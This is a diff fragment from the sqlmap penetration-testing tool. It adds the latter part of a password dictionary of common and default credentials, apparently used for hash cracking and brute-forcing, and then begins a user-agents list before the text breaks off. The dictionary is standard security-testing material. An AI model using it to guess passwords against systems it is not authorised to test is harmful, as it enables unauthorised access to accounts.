+october +octopus +odessa +office +officer +ohshit +ohyeah +oicu812 +oilers +oke +oki +oklahoma +oko +okokok +okokokok +oksana +oktober +ole123 +olive +oliveira +oliver +olivetti +olivia +olivier +olsen +olympiakos7 +omarion +omega1 +omgpop +omsairam +one +onelove +onetwo +onion +onkelz +online +onlyme +OO +oooo +oooooo +opendoor +opennow +opensesame +opera123 +operations +operator +OPERATOR +opi +opop9090 +opposite +optimist +optimus +optional +oracle +oracle8i +oracle9i +orange +orange1 +orange12 +orca +orchard +orchestra +orchid +oreo +organist +organize +orgasm +oriental +original +orioles +orion +orion1 +orlando +orthodox +orwell +osbourne +oscar +osijek +osiris +oskar +otalab +otenet1 +othello +otis +ottawa +otto +ou812 +outbreak +outdoors +outkast +outlaw +outside +over +overcome +overdose +overflow +overhead +overload +overlook +overlord +override +overseas +overseer +overtime +overture +owner +oxford +oxygen +oxymoron +oyster +ozzy +p +p0o9i8u7y6 +P@55w0rd +pa +pa55word +paagal +pacino +packard +packer +packers +packrat +pacman +paco +pad +paddington +paganini +page +painless +paint +paintbal +painter +painting +pajero +pakistan +pakistan123 +pakistani +palace +palacios +palestine +palli +pallina +pallmall +palmeiras +palmer +palmetto +paloma +palomino +pam +pamacs +pamela +Pamela +pana +panama +panasonic +panatha +pancakes +panchito +panda +panda1 +panda123 +pandabear +pandas +pandemonium +pandora +panget +pangit +panic +pankaj +pantera +panther +panther1 +panthers +panties +panzer +paok1926 +paokara4 +paola +papabear +papaki +papamama +paparas +paper +paperclip +papercut +paperino +papito +pappa123 +parabola +paradise +paradiso +parallel +paramedic +paramo +paramore +paranoia +parasite +paris +parisdenoia +parker +parkside +parliament +parola +parole +paroli +parool +Parool123 +parrot +partizan +partner +partners +party +pasadena +pasaway +pascal +pasion +paska +paska1 +paska12 +paska123 +paskaa +pasquale +pass +pass1 +pass12 +pass123 +pass1234 +Pass@1234 +pass2512 +passenger +passion +passion1 +passions +passme +passord +passpass +passport +passw0rd +Passw0rd +passwd +passwerd +passwo4 +passwor + +password +password! +password. +Password +PASSWORD +password0 +password00 +password01 +password1 +Password1 +password11 +password12 +password123 +password1234 +password13 +password2 +password22 +password3 +password7 +password8 +password9 +passwort +Passw@rd +pastor +patata +patches +patches1 +pathetic +pathfind +pathfinder +patience +patito +patoclero +patrice +patricia +patricio +patrick +patrick1 +patrik +patriots +patrol +patrycja +patryk1 +patty +paul +paula +paulchen +paulina +pauline +paulis +paulius +pavel +pavilion +pavlov +pawel1 +payday +PE#5GZ29PTZMSE +peace +peace1 +peaceful +peacemaker +peaceman +peach +peaches +peaches1 +peachy +peacock +peanut +peanut1 +peanutbutter +peanuts +Peanuts +pearl +pearljam +pearson +pebbles +pecker +pederast +pedersen +pedro +peekaboo +peepee +peeper +peerless +peeter +peewee +pegasus +pelirroja +pelle123 +peluche +pelusa +pencil +pendejo +pendulum +penelope +penetration +peng +penguin +penguin1 +penguins +penis +pensacola +pentagon +pentagram +penthous +pentium +pentium3 +pentium4 +people +peoria +pepe +pepper +pepper1 +peppers +pepsi1 +pepsi123 +pepsicola +perach +peregrin +peregrine +perfect +perfect1 +perfection +perfecto +performance +pericles +perkele +perkele1 +perkele666 +perlita +permanent +perros +perry +perse +persephone +pershing +persib +persimmon +persona +personal +pertti +peruna +pervert +petalo +peter +peter123 +peterk +peterman +peterpan +peterson +petey +petra +petronas +petter +petteri +peugeot +peyton +phantasy +phantom +phantom1 +phantoms +phat +pheasant +pheonix +phil +philadelphia +philip +philipp +philips +phillip +philly +philosophy +phish +phishy +phoebe +phoenix +Phoenix +photo +photography +photos +photoshop +phpbb +phyllis +physical +physics +pian +piano +piano1 +piao +piazza +picard +picasso +piccolo +pickle +pickles +pickwick +pics +picture1 +pictures +pierce +pierre +piff +piggy +piglet +pikachu +pikapika +pillow +pimp +pimpin +pimpin1 +pimping +pimpis +pineappl +pineapple +pinecone +ping +pingpong +pink +pink123 +pinkerton +pinkie +pinkpink +pinky +pinky1 +pinnacle +piolin +pioneer +pioneers +piotrek +piper1 +pipoca +pippen +pippin +piramide +pirate +pisces +piscis +pissing +pissoff +pistol +pistons +pit +pitbull +pitch +pittsburgh +pizza +pizza123 +pizzahut +pizzas +pjakkur +pk3x7w9W +plane +planes +planet +plankton +planning +plasma +plastic +platform +platinum +plato +platypus +play +playa +playback +playboy +playboy1 +player +player1 +players +playgirl +playground +playhouse +playoffs +playstat +playstation +playtime +pleasant +please +pleasure +PlsChgMe! +plumbing +pluto +plutonium +PM +pmi +pn +po +poa +pocahontas +pocitac +pocket +poetic +poetry +pogiako +point +pointofsale +poipoi +poison +poisson +poiuyt +poiuytrewq +pokemon +pokemon1 +pokemon123 +poker +poker1 +pokerface +polar +polarbear +polaris +police +police123 +poliisi +polina +polish +politics +polkadot +poll +pollito +polly +PolniyPizdec0211 +polska +polska12 +polska123 +polynomial +pom +pomme +poncho +pong +pony +poochie +poohbear +poohbear1 +pookey +pookie +Pookie +pookie1 +poonam +poontang +poop +pooper +poophead +poopoo +pooppoop +poopy +pooter +popcorn +popcorn1 +popeye +popo +popopo +popopopo +popper +poppop +poppy +popsicle +porcodio +porcupine +pork +porkchop +porn +pornking +porno +porno1 +pornos +pornstar +porque +porsche +porsche9 +portable +porter +portugal +positive +positivo +possible +POST +postal +postcard +postman +postmaster +potato +potter +povilas +power +power1 +powerade +powerhouse +powers +ppp +pppp +pppppp +ppppppp +pppppppp +pradeep +praise +prakash +prasad +prashant +pratama +praveen +prayer +preacher +preciosa +precious +precision +predator +preeti +pregnant +prelude +premium +presario +prescott +presence +president +presidio +presley +pressure +presto +preston +pretender +pretty +pretty1 +prettygirl +priest +primary +primetime +primos +prince +prince1 +princesa +princesita +princess +PRINCESS +princess1 +princesse +principe +pringles +print +printer +PRINTER +printing +priscila +priscilla +prisoner +prissy +private +private1 +priyanka +problems +prodigy +producer +production +products +professional +professor +profit +progressive +projects +prometheus +promises +propaganda +prophecy +prophet +prosper +prosperity +prost +protected +protection +protector +protocol +prototype +protozoa +provence +providence +provider +prowler +proxy +prs12345 +przemek +psa +psalms +psb +psp +p@ssw0rd +psycho +pub +public +publish +puck +puddin +pudding +puertorico +pukayaco14 +pulgas +pulsar +pumper +pumpkin +pumpkin1 +punch +puneet +punker +punkin +puppet +puppies +puppy +purchase +purdue +purple +purple1 +puss +pussey +pussie +pussies +pussy +pussy1 +pussy123 +pussy69 +pussycat +puteri +putter +puzzle +pw +pw123 +pwpw +pyramid +pyramids +pyro +python +q +q12345 +q123456 +q123456789 +q123q123 +q1w2e3 +q1w2e3r4 +q1w2e3r4t5 +q1w2e3r4t5y6 +q2w3e4r5 +qa +qawsed +qawsedrf +qaz123 +qazqaz +qazwsx +qazwsx1 +qazwsx123 +qazwsxed +qazwsxedc +qazwsxedc123 +qazwsxedcrfv +qazxsw +qing +qistina +qosqomanta +QOXRzwfr +qq123456 +qqq111 +qqqq +qqqqq +qqqqqq +qqqqqqq +qqqqqqqq +qqqqqqqqqq +qqww1122 +QS +qsecofr +QsEfTh22 +quagmire +quan +quasar +quebec +queen +queenbee +queens +querty +question +quicksilver +quiksilver +quintana +qwaszx +qwe +qwe123 +qwe123456 +qwe123qwe +qwe789 +qweasd +qweasd123 +qweasdzx +qweasdzxc +qweasdzxc123 +qweewq +qweqwe +qweqweqwe +qwer +qwer1234 +qwerasdf +qwert +qwert1 +qwert123 +qwert1234 +qwert12345 +qwerty +qwerty00 +qwerty01 +qwerty1 +Qwerty1 +qwerty12 +qwerty123 +Qwerty123! +qwerty1234 +Qwerty1234 +qwerty12345 +qwerty123456 +qwerty22 +qwerty321 +qwerty69 +qwerty78 +qwerty80 +qwertyqwerty +qwertyu +qwertyui +qwertyuiop +qwertz +qwertzui +qwertzuiop +qwewq +qwqwqw +r0ger +r8xL5Dwf +R9lw4j8khX +rabbit +Rabbit +racecar +racer +rachel +rachel1 +rachelle +rachmaninoff +racing +racoon +radagast +radhika +radiator +radical +radioman +rafael +rafaeltqm +raffaele +rafferty +rafiki +ragga +ragnarok +rahasia +raider +raiders +raiders1 +rain +rainbow +rainbow1 +rainbow6 +rainbows +raindrop +rainfall +rainmaker +rainyday +rajesh +ralfs123 +rallitas +ram +rambo +rambo1 +ramesh +ramirez +rammstein +ramona +ramones +rampage +ramram +ramrod +ramstein +ramunas +ranch +rancid +randolph +random +randy +randy1 +ranger +rangers +rangers1 +raptor +rapture +rapunzel +raquel +rascal +rasdzv3 +rashmi +rasmus123 +rasta +rasta1 +rastafari +rastafarian +rastaman +ratboy +rational +ratman +raven +raymond +raymond1 +rayray +razor +razz +re +readers +readonly +ready +reagan +real +really +realmadrid +reaper +rebane +rebecca +rebecca1 +rebeka +rebelde +rebels +reckless +record +recorder +records +red +red123 +red12345 +redalert +redbaron +redbeard +redbird +redcar +redcloud +reddevil +reddog +redeemed +redeemer +redemption +redeye +redhead +redheads +redhorse +redhot +redlight +redline +redman +redred +redriver +redrose +redrum +reds +redskin +redskins +redsox +redstone +redwing +redwings +reed +reference +reflection +reflex +reggie +regiment +regina +reginald +regional +register +registration +reilly +reindeer +reinis +rejoice +relative +relentless +reliable +reliance +reliant +reload +reloaded +rembrandt +remember +reminder +remote +rendezvous +renegade +reng +rental +repair +replicate +replicator +report +reports +reptile +republic +republica +requiem +rescue +research +reserve +resident +resistance +response +restaurant +resurrection +retard +retarded +retire +retired +retriever +revenge +review +rex +reynaldo +reynolds +reznor +rghy1234 +rhapsody +rhino +ribica +ricardo +ricardo1 +riccardo +rich +richard +richard1 +richardson +richie +richmond +rick +ricky +rico +ricochet +ride +rider +ridge +riffraff +rifleman +right +rihards +rijeka +ring +ripper +rita +river +rivera +riverhead +riverside +rje +ro +road +roadkill +roadking +robbie +robby +robert +robert1 +robert12 +roberta +roberto +roberts +robertson +robin +robinson +robotech +robotics +roche +rochelle +rochester +rock +rocker +rocket +rocketman +rockets +rockford +rockhard +rockie +rockies +rockin +rockland +rockme +rockon +rockport +rockrock +rocks +rockstar +rockstar1 +rocku +rocky +rocky1 +rodent +rodeo +roderick +rodina +rodney +rodrigo +rodrigues +rodriguez +roger +roger1 +rogue +rokas123 +roland +rolex +roller +rollin +rollins +rolltide +romain +romance +romania +romanko +romantico +romeo +romero +ronald +ronaldinho +ronaldo +ronaldo9 +rong +roni +ronica +ronnie +roofer +rookie +rooney +roosevelt +rooster +roosters +root +root123 +rootadmin +rootbeer +rootme +rootpass +rootroot +rosalinda +rosario +roscoe +roseanne +rosebud +rosebush +rosemary +rosenborg +roserose +roses +rosie +rosita +ross +rossella +rotation +rotten +rotterdam +rouge +rough +route66 +router +rovers +roxana +roxanne +roxy +royal +royals +rr123456rr +rrrr +rrrrr +rrrrrr +rrrrrrrr +rrs +ruan +rubble +ruben +rudeboy +rudolf +rudy +rufus +rugby +rugby1 +rugger +rules +rumble +runar +runaway +runescape +runner +running +rupert +rush2112 +ruslan +russel +russell +russia +russian +rusty +rusty2 +ruth +ruthless +rw +rwa +RwfCxavL +ryan +ryousuke +s123456 +s4l4s4n4 +saabas +saatana +saatana1 +sabine +sabotage +sabres +sabrina +sacramento +sacrifice +sadie +sadie1 +sagitario +sagittarius +sahabat +saibaba +saigon +sailfish +sailing +sailor +sailormoon +saint +saints +sairam +saiyan +sakalas +sakamoto +sakura +sakurasaku +sakusaku +sal +saladus +salainen +salama +salamandra +salasana +salasana123 +salasona +saleen +sales +salinger +sally +salmon +salomon +salope +salou25 +salut +salvador +salvation +samantha +samantha1 +sambo +samiam +samko +sammakko +sammie +sammy +sammy1 +sammy123 +samoht +sample +SAMPLE +Sample123 +sampson +samsam +samson +samsung +samsung1 +samsung123 +samuel +samuel22 +samuli +samurai +sanane +sanane123 +sananelan +sanchez +sand +sandeep +sander +sandhya +sandi +sandman +sandoval +sandra +sandrock +sandstorm +sandwich +sandy +sanfran +sanguine +sanjay +sanjose +sanpedro +santa +santana +santiago +santos +santosh +santtu +sanyika +saopaulo +SAP +sap123 +sapphire +sarah +sarah1 +sarasara +sarita +sascha +sasha +sasha123 +sasquatch +sassy +sassy1 +sasuke +satan666 +satelite +satellite +satisfaction +satori +satriani +saturday +saturn +saturn5 +saulite +saulute +saulyte +saunders +sausage +savage +savanna +savannah +sawyer +saxon +saxophone +sayang +sayangkamu +sayonara +scarface +scarlet +scarlett +schalke +schatzi +schedule +scheisse +scheme +schiller +schnapps +schneider +schnitzel +school +school1 +schooner +schroeder +schule +schumacher +schuster +schwartz +science +scirocco +scissors +scofield +scooby +scooby1 +scoobydo +scoobydoo +scooter +scooter1 +scooters +score +scorpio +scorpio1 +scorpion +scorpions +scotch +scotland +scott +scott1 +scottie +scottish +scotty +scout +scouting +scramble +scranton +scrapper +scrappy +scream +screamer +screen +screw +screwy +scribble +scrooge +scruffy +scuba1 +scully +seabee +seadoo +seagate +seagull +seahawks +seahorse +searay +search +searcher +searching +seashell +seashore +seattle +sebastian +sebastian1 +sebring +second +secret +secret1 +secret123 +secret3 +secret666 +secrets +secure +security +SECURITY +seduction +seinfeld +select +selector +selena +selina +seminoles +semper +semperfi +senators +seneca +seng +senha123 +senior +seniseviyorum +senna +senorita +sensation +sensei +sensitive +sensor +SENTINEL +seoul +septembe +september +septiembre +sequence +serdar +serega +serena +serenade +serendipity +serenity +sergei +sergey +sergio +series +serkan +servando +server +service +services +sessions +sestosant +settlers +setup +seven +seven7 +sevens +seventeen +sex +sex123 +sex4me +sexman +sexo +sexsex +sexual +sexx +sexxx +sexxxx +sexxy +sexy +sexy1 +sexy12 +sexy123 +sexy69 +sexybabe +sexybitch +sexyboy +sexygirl +sexylady +sexymama +sexyman +sexyme +sf49ers +sh +shadow +shadow1 +shadow12 +shaggy +shakespeare +shakira +shalimar +shalom +shampoo +shamrock +shan +shane +shania +shannon +shannon1 +shanti +shaolin +share +shark +sharma +sharon +sharpshooter +shasha +shaved +shearer +sheeba +sheena +sheep +sheffield +sheila +shekinah +shelby +sheldon +shelly +shelter +shemale +shen +sheng +sherbert +sheriff +sherlock +sherman +sherry +shevchenko +shi123456 +shibby +shilpa +shiner +shinichi +shinobi +ship +shipping +shirley +shirley1 +shit +shitface +shithead +shitshit +shitty +shivers +shock +shocker +shocking +shodan +shoelace +shopping +short +shortcake +shortcut +shorty +shorty1 +shoshana +shotgun +shotokan +shoulder +shovel +show +showboat +showcase +showme +showtime +shredder +shrimp +shuang +shun +shuriken +shutdown +shutup +shyshy +sideshow +sideways +sidney +siemens +sierra +Sierra +sifra +sifre +siga14 +sigma +sigmachi +signa +signal +sigrun +siilike +sikais +silence +silencio +silicone +silmaril +silver +silver1 +silverado +silverfish +silvia +simmons +simon +simona +simone +simonka +simonko +simple +simpleplan +simpson +simpsons +simran +sims +simulator +sinbad +sindre +sindri +sinegra +sinfonia +singapor +singer +single +sinister +sinned +sinner +sisma +sissy +sister +sister12 +sisters +sitakott +sitapea +site +sitecom +sixers +sixpack +sixpence +sixty +skate +skateboard +skateboarding +skater +skater1 +skeeter +skeleton +skibum +skidoo +skillet +skinhead +skinny +skipjack +skipper +skippy +skittles +skuggi +skydiver +skyhawk +skylar +skyline +skywalker +slacker +slammer +slapper +slappy +slapshot +slaptazodis +slater +slaughter +slave +slayer +sleeper +sleeping +sleepy +slick +slick1 +slider +slideshow +slimshady +slipknot +slipknot1 +slipknot666 +slniecko +sloppy +slovenia +slowpoke +sluggo +slut +sluts +slutty +sma +smackdown +small +smallville +smart1 +smartass +smartbox +smcadmin +smeghead +smegma +smelly +smile +smile1 +smiles +smiley +smith +smithers +smiths +smitty +smoke +smoke420 +smoker +smokey +smokey1 +smoking +smooch +smooth +smoothie +smother +smudge +smuggler +snakebite +snakeeater +snapper +snapple +snapshot +snatch +sneakers +sneaky +snickers +snickers1 +sniper +snoop +snoopdog +snoopdogg +snoopy +snoopy1 +snotra +snowball +snowbird +snowboar +snowfall +snowflak +snowflake +snowhite +snowman +snowman1 +snowshoe +snowski +snowwhite +snuffles +snuggles +soap +sober1 +sobriety +soccer +soccer1 +soccer10 +soccer11 +soccer12 +soccer13 +soccer2 +soccer22 +socrates +sofia +softball +softball1 +software +Sojdlg123aljg +sokrates +soldiers +soledad +soleil +solitaire +solitude +solla +solo +solomon +solstice +solutions +sombrero +some +somebody +someone +somethin +something +sometime +somewhere +sommar +sondra +song +songbird +sonics +sonrisa +sony +sony1 +sonya +sonyvaio +sooner +sophia +sophie +sorensen +soto +soul +soulmate +southpark +southside +southside1 +southwest +souvenir +sovereign +sowhat +soyhermosa +space +spaceman +spagetti +spaghetti +spain +spalding +spanker +spanking +spankme +spanky +spanner +sparhawk +sparkle +sparkles +sparky +Sparky +sparky1 +sparrows +sparta +spartan1 +spartan117 +spazz +speaker +speakers +special +special1 +specialist +specialk +spectral +spectre +spectrum +speeding +speedo +speedster +speedy +speles +spelling +spence +spencer +spencer1 +sperma +sphinx +sphynx +spice +spider +spider1 +spiderma +spiderman +spiderman1 +spidey +spike +spike1 +spikes +spikey +spirit +spiritual +spit +spitfire +splash +spock +spoiled +spongebo +spongebob +spongebob1 +spooge +spooky +spoon +sporting +sports +spotlight +spring +springs +sprinkle +sprite +spud +spunky +spurs +spyder +sql +sqlexec +square +squash +squeaker +squirrel +squirt +srinivas +sriram +sss +ssss +ssssss +sssssss +ssssssss +ssssssssss +stacey +staci +stacy +stainless +stairway +stalingrad +stalker +stamford +stampede +stan +standard +stanley +stanley1 +staples +star +star69 +starbuck +starbucks +starchild +starcraft +stardust +starfish +stargate +stargazer +starless +starlight +starling +starr +stars +starshine +starship +start +start1 +starter +startfinding +starting +startrek +starwars +starwars1 +state +Status +stayout +stealth +steaua +steele +steelers +steelers1 +steelman +stefan +stefania +stefanie +stefanos +stelios +stella +stellar +steph +steph1 +stephani +stephanie +stephanie1 +stephen +stephens +stephi +stereo +sterling +sternchen +steve +steven +steven1 +stevens +stewart +stick +stickman +sticky +stiletto +stimpy +sting1 +stingray +stinker +stinky +stitches +stock +stockman +stockton +stoffer +stolen +stone +stonecold +stonehenge +stoneman +stoner +stones +stories +storm +straight +strange +stranger +strat +strategy +stratus +strawber +strawberry +stream +streamer +streaming +street +streets +strider +strike +strikers +string +stripper +stroker +stronger +stronghold +struggle +strummer +struzhka +stryker +stuart +stubby +student +student1 +student2 +students +studioworks +studman +stunner +stuntman +stupid +stupid1 +sturgeon +style +styles +sublime +submarine +submit +subwoofer +subzero +success +successful +succubus +sucesso +sucked +sucker +suckers +sucking +suckit +suckme +suckmydick +sucks +sudoku +sue +sugarplum +suicidal +suicide +suitcase +sukses +sullivan +summer +summer00 +summer01 +summer05 +summer1 +summer12 +summers +summit +summoner +sunbird +sundance +sunday +sundevil +sunfire +sunflowe +sunflower +sunflowers +sunita +suniukas +sunna +sunny123 +sunnyboy +sunnyday +sunrise +sunset +sunshine +sunshine1 +suomi +super +super123 +superbowl +superboy +supercool +superdog +superduper +supergirl +superhero +superior +superman +superman1 +supermand +supermen +supernova +superpass +superpower +supersecret +supersonic +superstage +superstar +superuser +supervisor +support +supra +surabaya +surecom +surf +surfboard +surfer +surfing +surprise +surrender +surround +survival +survivor +susana +sushi +susie +suslik +suzanne +suzuki +suzy +sveinn +sverige +svetlana +swanson +sweden +sweet +sweet1 +sweet123 +sweet16 +sweetest +sweetheart +sweetie +sweetiepie +sweetnes +sweetness +sweetpea +sweets +sweetwater +sweety +swim +swimming +swingers +swinging +switzer +swoosh +sword +swordfis +swordfish +sydney +sylvania +sylvester +sylvia +sylwia +symbol +symmetry +sympa +symphony +syndrome +synergy +syracuse +sys +sysadm +syspass +system +system5 +syzygy +szabolcs +szerelem +szeretlek +sziszi +tabatha +taco +tacobell +tacoma +tactical +taffy +tagged +tajmahal +takahiro +takanori +takataka +takayuki +takedown +takoyaki +talented +talks +tallinn +tallulah +talon +tamara +tami +tamtam +tania +tanker +tanner +tantra +tanya1 +tanzania +tapestry +tappancs +tappara +tara +tarantino +taratara +tardis +targas +target +target123 +tarheel +tarpon +tarragon +tartar +tarzan +tasha1 +tassen +tatiana +tattoo +taurus +taxman +taylor +taylor1 +taytay +tazdevil +tazman +tazmania +tbird +t-bone +teacher +teacher1 +teaching +team +teamo +teamomucho +teamwork +teardrop +tech +technical +technics +techno +techsupport +tectec +teddy +teddybea +teddybear +teenage +teenager +teens +teflon +teiubesc +tekiero +tekila +tekken +Telechargement +telecom +telefon +telefonas +telefono +telefoon +telemark +telephone +televizija +telos +telus00 +temp +temp! +temp123 +tempest +templar +template +temporal +temporary +temppass +temptation +temptemp +tender +tenerife +teng +tennesse +tennessee +tennis +tennyson +tequiero +tequieromucho +tequila +tere123 +teresa +teretere +terminal +terminat +terminator +terminus +terrapin +terrell +terriers +terrific +terror +terrorist +terserah +test +test! +test1 +test12 +test123 +test1234 +test2 +test3 +testament +teste123 +tester +testi +testicle +testing +testpass +testpilot +testtest +test_user +tetsuo +texas +thaddeus +thai123 +thailand +thankyou +the +thebeach +thebear +thebeast +thebest +thebest1 +thecat +thecrow +thecure +thedon +thedoors +thedude +theforce +thegame +their +thejudge +thekid +theking +thelma +theman +thematrix +themis +theodora +theodore +there +theresa +therock +these +thesims +thethe +thething +thetruth +thiago +thing +thinking +thinkpad +thirteen +this +thisisit +thomas +thomas01 +thomas1 +thomas123 +thompson +thong +thongs +thornton +thousand +threesome +thriller +throat +thuglife +thumbs +thumper +thunder +thunder1 +thunderbolt +thunders +thursday +thurston +thx1138 +tian +tibco +tiburon +ticket +tickle +ticktock +tierno +tietokone +tiffany +tiffany1 +tiger +tiger1 +tiger123 +tigereye +tigerman +tigers +tigerwoods +tigger +tigger1 +tigger12 +tight +tightend +tights +tigre +tigris +tiiger +tika +tikitiki +timberlake +time +timelord +timely +timeout +timosha +timosha123 +timothy +timtim +tinker +tinkerbe +tinkerbell +tinkle +tinman +tintin +Tiny +tiramisu +tissemand +titanic +titanium +titimaman +titkos +titouf59 +tits +titten +titty +tivoli +tmnet123 +tnt +tobias +toby +today +toejam +together +toggle +toilet +tokiohotel +tokyo +tomas123 +tomasko +tomato +tombstone +tomcat +tomek1 +tomika +tomislav1 +tommaso +tommy +tommy123 +tomohiro +tomotomo +tomtom +tomukas +tong +tonight +tony +tonytony +toolbox +toomas +toon +toor +toothpaste +toothpick +tootsie +topcat +topdog +topgun +tophat +topnotch +topolino +topsecret +torcida +toreador +toriamos +torino +tormentor +tornado +tornado1 +toronto +toronto1 +torpedo +torrance +torrents +torres +tortilla +tortoise +toshiba +total +toti +toto1 +tototo +tottenham +toucan +touchdown +touching +tower +town +townsend +toxic +toxicity +toyota +trace +tracer +traci +track +tracker +tractor +tracy +trader +traffic +trails +train +trainer +trampoline +trance +tranquil +transfer +transform +transformer +transformers +transit +trash +trashcan +trashman +trauma +travel +traveler +traveller +travis +tre +treble +tree +treefrog +trees +treetop +treetree +trespass +trevor +trial +triathlon +tribunal +tricia +trickster +trigger +trinidad +trinitro +trinity +trip +triple +tripleh +triplets +tripod +tripper +tripping +trish +trisha +tristan +tristan1 +triton +triumph +trivial +trixie +trojan +trojans +troll +trombone +trooper +troopers +trophy +trouble +trout +troy +truck +truelove +truffles +trujillo +trumpet +trunks +trunte +trustme +trustno1 +trustnoone +truth +tryagain +tsunami +tttttt +tuan +tucker +tucson +tudelft +tuesday +tula +tuna +tunafish +tundra +tunnussana +tuomas +tupac +tuppence +turbine +turbo +turbo2 +turkey +turner +turnip +turquoise +turtle +tutor +tuttle +tweety +tweety1 +tweetybird +twelve +twenty +twilight +twinkie +twinkle +twinkles +twins +twisted +twister +twitter +tybnoq +tycoon +tyler +tyler1 +typewriter +typhoon +tyrone +tyson +tyson1 +U38fa39 +uboot +ultima +ultimate +ultra +ultrasound +umbrella +umesh +umpire +unbreakable +undead +underdog +understand +undertaker +undertow +underwater +underworld +unforgiven +unhappy +unicorn +unicornio +unicorns +unique +united +unity +universal +universe +universidad +university +unix +unknown +unleashed +unlocked +unreal +untitled +untouchable +uploader +upsilon +uptown +upyours +uQA9Ebw445 +urchin +ursula +usa123 +user +user0 +user1 +user1234 +user2 +user3 +user4 +user5 +user6 +user7 +user8 +user888 +username +usmarine +usmc +Usuckballz1 +utility +utopia +uuuuuuuu +vacation +vaffanculo +vagabond +vagina +val +valami +valdemar +valencia +valentin +valentina +valentinchoque +valentine +valeria +valerian +valerie +valeverga +valhalla +validate +valtteri +vampire +vampire1 +vampires +vanderbilt +vanesa +vanessa +vanessa1 +vanhalen +vanilla +vanquish +variable +vasant +vasara +vaseline +vector +vedder +vedran +vegas +vegeta +vegetable +velo +velocity +vengeance +venkat +venom +ventura +venus +vera55 +veracruz +verbatim +vergessen +veritas +verizon +vermilion +verona +veronica +veronika +veronique +vertical +verygood +vette +vfhbyf +vfrcbv +vh5150 +viagra +vickie +victor +victoria +victoria1 +victory +video +vietnam +viewsoni +vijaya +viking +vikings +vikings1 +viktor +viktoria +viktorija +vincent +vineyard +vinicius +vinkovci +vinnie +violator +violence +violet +violetta +violette +violin +viper +vipergts +vipers +virgilio +virgin +virginia +virtual +virus +VIRUSER +visa +viscount +vishal +vision +vision2 +visitor +visitors +visor +visual +vittoria +vittorio +vivian +viviana +vivien +vivienne +vkontakte +vladimir +VOizGwrC +volcano +volcom +volimte +volkswag +volley +volleyba +volleyball +voltaire +volume +volunteer +volvo +voodoo +voyager +voyeur +VQsaBLPzLa +vsegda +vulcan +vvvv +vvvvvvvv +waffle +waiting +wakefield +walden +walker +wallace +wall.e +walrus +walter +wanderlust +wang +wangyut2 +wanker +wanted +warcraft +wareagle +warehouse +warez +wargames +warhamme +warhammer +warlock +warning +warranty +warren +warrior +warrior1 +warriors +warszawa +wasabi +washington +wasser +wassup +wasted +watanabe +watch +watchdog +watching +watchman +watchmen +water +water123 +waterfall +waterman +watermelon +waterpolo +waters +watson +wayne +weasel +weather +weaver +web +webcal01 +weblogic +webmaste +webmaster +webster +wedding +wedge +wednesday +weed420 +weenie +weezer +welcome +welcome1 +welcome123 +welder +wellington +wendi +wendy +wendy1 +weng +werder +werdna +werewolf +wert +wertwert +wertz123 +wesley +westcoast +western +westgate +westlife +weston +westside +westwind +wetpussy +wg +wh +whale1 +what +whatever +whatever1 +whatnot +whatsup +whatthe +whatwhat +whiplash +whiskey +whisky +whisper +whit +white +whiteboy +whiteman +whiteout +whiting +whitney +whittier +whocares +whoknows +wholesale +whynot +wichmann +wicked +wickedwitch +widzew +wiesenhof +wifey +wiktoria +wild +wildbill +wildcat +wildcats +wildfire +wildflower +wildlife +wildman +wildone +wildrose +will +william +william1 +williams +willie +willis +willow +Willow +wilson +wind +window +windows +windows1 +windowsxp +windsurf +windward +winger +wingnut +wings +winner +winner1 +winnie +Winnie +winnipeg +winona +winston +winter +winthrop +wisconsin +wisdom +wiseguy +wishbone +witchcraft +wizard +wizard1 +wizards +woaini +woaini1314 +wojtek +wolf +wolf1 +wolfen +wolfgang +wolfhound +wolfie +wolfpac +wolfpack +wolverin +wolverine +wolverines +wolves +woman +wombat +women +wonder +wonderful +wood +woodbury +woodchuck +woodie +woodland +woodlawn +woodruff +woodside +woodstoc +woodwind +woody +woofer +woowoo +word +wordpass +wordup +work +work123 +working +workout +world +wormhole +worship +worthy +wow12345 +wowwow +wraith +wrangler +wrench +wrestle +wrestler +wrestlin +wrestling +wrinkle1 +writer +writing +wsh +www +wwww +wwwwww +wwwwwww +wwwwwwww +xanadu +xanth +xavier +xbox360 +xceladmin +xcountry +x-files +xiang +xiao +ximena +ximenita +xing +xiong +XRGfmSx +xtr +xuan +xxx +xxx123 +xxxx +xxxxx +xxxxxx +xxxxxxx +xxxxxxxx +xxxxxxxxxx +xyz +xyzzy +y +YAgjecc826 +yahoo +yahoo123 +yamaha +yamahar1 +yamamoto +yang +yankee +yankees +yankees1 +yankees2 +yardbird +yasmin +yasuhiro +yaya +yeah +yellow +yellow1 +yellow12 +yes +yeshua +yessir +yesterday +yesyes +yfnfif +ying +yingyang +yolanda +yomama +yong +yorktown +yosemite +yoteamo +youbye123 +young +young1 +yourmom +yourmom1 +yourname +yourself +yoyo +yoyoma +yoyoyo +ysrmma +YtQ9bkR +ytrewq +yuan +yuantuo2012 +yukiyuki +yukon +yummy +yvonne +yxcvbnm +yyyy +yyyyyyyy +yzerman +z123456 +z1x2c3v4 +za123456 +zacefron +zachary +zachary1 +zadzad +zag12wsx +zagreb +zalgiris +zander +zang +zanzibar +zapato +zaphod +zaq12wsx +zaq1zaq1 +zaqxsw +zaragoza +zebra +zebras +zeng +zenith +zeppelin +zepplin +zerocool +zerozero +zeus +zhang +zhao +zheng +zhong +zhongguo +zhou +zhuang +zhuo +zidane +ziggy +zildjian +zimbabwe +zing +ziomek +zipper +zippo +zirtaeb +zk.: +zmodem +zolika +zoltan +zombie +zong +zoomer +zoosk +zuikis +zuzana +ZVjmHgC355 +zwerg +zxc +zxc123 +zxcasdqwe +zxccxz +zxcv +zxcv1234 +zxcvb +zxcvbn +zxcvbnm +Zxcvbnm +zxcvbnm1 +zxcvbnm123 +zxcxz +zxczxc +zxzxzx +zzzxxx +zzzzz +zzzzzz +zzzzzzzz +zzzzzzzzzz diff --git a/data/txt/user-agents.txt b/data/txt/user-agents.txt new file mode 100644 index 00000000000..31bca9529d3 --- /dev/null +++ b/data/txt/user-agents.txt @@ -0,0 +1,190 @@ +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 